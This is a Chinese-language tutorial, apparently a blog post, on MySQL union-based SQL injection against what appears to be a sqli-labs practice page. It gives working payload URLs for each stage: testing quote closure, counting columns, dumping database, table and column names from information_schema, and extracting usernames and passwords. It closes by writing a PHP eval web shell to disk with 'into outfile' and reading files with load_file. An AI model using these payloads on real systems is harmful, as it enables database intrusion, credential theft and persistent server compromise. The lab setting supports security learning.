Mysql 联合查询注入一般流程

一、判断是否存在注入

  • 在有传值得url后面输入’, ”或者),通过返回错误,判断sql语句是用什么符号闭合的。在url后面输入 ’返回如图错误,初步判断是sql语句是通过’闭合。

  • 然后在后面构建一个恒等式看我们的sql语句能不能正常执行。通过执行恒等式and 1=1 返回正常,and 1=2返回不正常,判断出此页面存在注入点 --+对数据库后面的查询语句做注释。

二、判断系统查询语句的字段的个数

1、通过order by n 判断本查询语句的字段的个数。Order by mysql的排序语句。如果n 大于表中的字段数就会报错。小于表中字段返回正常。Order by 4 返回错误,order by 3 返回正常,判断本查询语句有3个字段。

三、通过联合查询,查库,查表,查字段。

1、判断显示位

  • 初步判断有url提交的查询语句有3个字段,union select 语句查询前后字段必须一样,我们通union select 1,2,3来判断哪个字段是显示的。通过and 1=2让union前面的数据不显示。通过执行后回显2,3。判断2,3是显示位。

    2、查数据库名

  • 数据库名存放在information_schema数据库的schemata表中的schema_name字段中.                                                   查询语句:http://192.168.2.200/less-1/index.php?id=2' and 1=2 union select 1,schema_name,3 from information_schema.schemata --+然后通过limit n,N语句依次爆出存在的数据库名。

3、查表

同样的操作,表名存在information_schema数据库的tables的table_name字段中,并通过限制条件schema_name = ‘web’查询web数据库中存在的表名

查询命令:http://192.168.2.200/less-1/index.php?id=2' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='web'  limit 0,1 --+
并通过limit依次列出所有表名。

4、查询数据库表中的所有字段。

表中的字段保存在,information_schema数据columns表中的column_name字段中。并通过限制查询条件where table_name = ‘user’ and table_schema = ‘web’精确的查出web数据库user表中的字段名。

查询命令:http://192.168.2.200/less-1/index.php?id=2' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='web' and table_name='user' limit 1,1 --+

然后同样通过limit命令查出所有的数据字段。

5、查询字段中的数据。通过普通的查询命令就可以实现。

http://192.168.2.200/less-1/index.php?id=2' and 1=2 union select 1,username,password from web.user  --+
同样通过limit命令可以一个个显示所有的字段内容。

四、通过联合查询写入木马文件

通过into outfile ,写入一句话木马。

?id=2' union select 1,'<?php eval($_POST[lala]);?>',3 into outfile'c:\\php\\www\\xx.php'  --+

通过hacker bar的postdata连接一句话木马

通过联合查询读取文件

?id=2')) and 0 union select 1,load_file('c:\\php\\www\\xx.php'),3 --+

发表评论

电子邮件地址不会被公开。 必填项已用*标注